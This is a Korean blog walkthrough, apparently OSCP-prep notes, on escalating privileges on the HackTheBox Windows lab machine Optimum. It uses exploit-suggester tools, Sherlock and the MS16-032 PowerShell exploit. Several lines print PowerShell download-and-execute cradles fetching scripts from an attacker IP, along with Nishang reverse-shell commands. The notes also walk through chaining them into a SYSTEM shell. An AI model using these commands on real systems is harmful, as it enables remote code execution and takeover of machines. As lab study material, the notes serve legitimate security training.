OSCP/HackTheBox

[Windows] Optimum

우와해커 2020. 5. 21. 15:54

커널 익스플로잇

 

windows exploit suggester

공격 대상 systeminfo 결과 복사 후 로컬에 systeminfo.txt 생성
* hotfix 정보까지 저장해야 missing-patch 취약점도 찾아낼 수 있다.
cmd> systeminfo

 

I found some Hotfix's

A hotfix or quick-fix engineering update is a single, cumulative package that includes information that is used to address a problem in a software product.


DB업데이트

python windows-exploit-suggester.py --update

 

Exploit 검색

python windows-exploit-suggester.py --systeminfo systeminfo.txt --database 2019-10-08-mssb.xls


파이썬 코드 권한상승 코드 발견 => EXE파일로 변환 (환경상 불가로 PASS)

pyinstaller --onefile [파이썬코드]


* 리눅스에서 실행하면 리눅스용 바이너리가 생성됨 ㅠ
* 고로 같은 아키텍쳐의 windows에서 해줘야함

 

* Searchsploit과 Exploit-DB 브라우저 검색에 차이가 있다...
또한 Exploit 설명을 자세히보면 POC에 대한 pre-compiled 된 바이너리 주소를 제공하기도 함.

* git raw 바이너리를 다운로드시 git clone이 안되면 wget을 이용하자.

* 바이너리 역시 100% 성공률이 아님, 실패 가능성이 있으므로 안되면 다른 바이너리를 찾아봐야한다..

 

 

크로스 컴파일 참고
wine & pyinstaller
https://www.andreafortuna.org/2017/12/27/how-to-cross-compile-a-python-script-into-a-windows-executable-on-linux/

 

바이너리로 푸는 법 참고

https://alamot.github.io/optimum_writeup/


Sherlock 스크립트

셜록: 익스플로잇 검색해주는 파워 쉘, 여러가지 기능이 있지만 Find-AllVulns만 사용함

powershell -c "Import-module ./Sherlock.ps1;Find-AllVulns;"

So we can use Sherlock to find the missing patches which will help us to Privilege Escalation.
Sherlock - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities.

IEX(New-Object Net.WebClient).downloadString(‘http://10.10.14.31:8000/Sherlock.ps1’)

* 윈도우 프로세스 확인, 제거
tasklist [/V]
taskkill /pid 3314

 



cmd에서 파워쉘 들어가면 프롬트 멈춤 현상 발생
=> 만들어진 넷켓 리버스 쉘과 파워쉘 상태가 interative가 아니기 때문이다.

netcat 쉘이 완전히 대화식이 아니기 때문일 수 있습니다. 나는 모바일 ATM을 사용하고 있기 때문에 특정 정보를 제공 할 수 없지만 "upgrade netcat shell"와 같은 것을 검색하면 유용한 리소스를 찾을 수 있습니다.


해결 방법 2가지


1. Check out Nishang's Invoke-PowershellTcp.ps1.

 
Much better than a cmd nc shell.

Your shell isn't fully interactive. Windows usually doesn't have python on it so the python trick won't work.
Your best bet is to send yourself a second shell (which the first thing I always do is send myself a second shell in case the first one dies). Either upload a binary of windows/powershell_reverse_tcp or use something like Nishang.
This week I'm going to try this script which says it will make a fully interactive PowerShell shell: https://github.com/antonioCoco/ConPtyShell

powershell iex (New-Object Net.WebClient).DownloadString('http://10.10.14.43/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.43 -Port 4321

 


2. powershell.exe -c를 하나의 라인으로 실행 


콘솔로 출력 (out-host cmdlet 사용)

powershell -c "get-command | out-host -paging"

 

콘솔 결과 저장 (out-file cmdlet 사용)

powershell -c "Get-Process | Out-File -FilePath C:\temp\processlist.txt"

 

* 파워쉘에서 싱글쿼터는 에러를 발생시킬 수 있음

 

참고
https://docs.microsoft.com/ko-kr/powershell/scripting/samples/redirecting-data-with-out---cmdlets?view=powershell-7


MS16-032 권한상승 파워쉘 Exploit

* 결론: 지금으로써는 파워 쉘로 권한상승 시도 안하는게 낫다. 바이너리와 비교하여 까다로움)
- Nishang에서 제공하는 파워쉘 모듈 Invoke-PowerShellTcp.ps1 필요
- Empire 제공하는 권한상승 모듈 Invoke-MS16032.ps1 필요

 

파워쉘 상태로 Fully Interactive 상태 만들기

 

1. Invoke-PowerShellTcp.ps1 스크립트 맨 밑에 함수 트리거 되도록 수정 후 웹 루트에 이동시킴
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.43 -Port 2222

 

2. Victim의 nc에서 명령어 입력
powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.43/Invoke-PowerShellTcp.ps1')
=> Fully Interactive shell로 변경됨

이미 nc에 쉘 땃으면 파워쉘 내용 수정하지 않고 nc에서 바로 트리거 가능함, 위 내용은 웹 사이트 RCE같은 다른 포인트에서 수행
powershell iex (New-Object Net.WebClient).DownloadString('http://10.10.14.43/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.43 -Port 2222
* 단, 권한상승할때는 에러 발생함, 권한상승할 때는 2번으로 수행.

* IEX(인터렉티브 옵션) 쓰는 이유: 문자열로 받는 내용을 파워 쉘 상태로 바로 실행할 수 있음


Invoke-MS16032.ps1 스크립트 트리거를 위한 작업

 

3. Invoke-PowerShellTcp.ps1를 root.ps1로 변경하여 복사 후 웹 루트로 이동시킴
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.43 -Port 3333
1번처럼 하단에 또다른 포트가 트리거 되도록 수정

 

4. Invoke-MS16032.ps1 파워 쉘의 예제 사용법 복사 후 스크립트 하단에 수정된 니샹 파워 쉘(root.ps1)을 트리거 시키도록 수정 후 웹루트로 이동시킴
}
Invoke-MS16-032 -c "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.43/root.ps1')"

 

5. 희생자 PC의 파워 쉘 Fully Interactive로 연결된 상태에서 명령어 수행
PS C:\> IEX(New-Object Net.WebClient).downloadString(‘http://10.10.14.43/Invoke-MS16032.ps1’)

 

★ Fully Interactive가 아닌 상태에서는 위방법대로 안하면 해당 권한상승 쉘 실행이 불가능함.
내가 좀 더 쉽게 해보려고 별별 테스트 다 해봤는데 안됨.

 

 

파워쉘 푸는법  참고 사이트
https://0xw0lf.github.io//posts/HTB-Optimum
https://medium.com/@iammainul/hackthebox-optimum-walkthrough-powershell-only-21e17a8d29b3
https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-optimum/

'OSCP > HackTheBox' 카테고리의 다른 글

[Windows] Grandpa & Granny  (0) 2020.05.25
[Linux] Blocky  (0) 2020.05.23
[Linux] Beep  (0) 2020.05.19
[Windows] Devel  (0) 2020.05.19
[OSCP] HackTheBox List  (0) 2020.05.18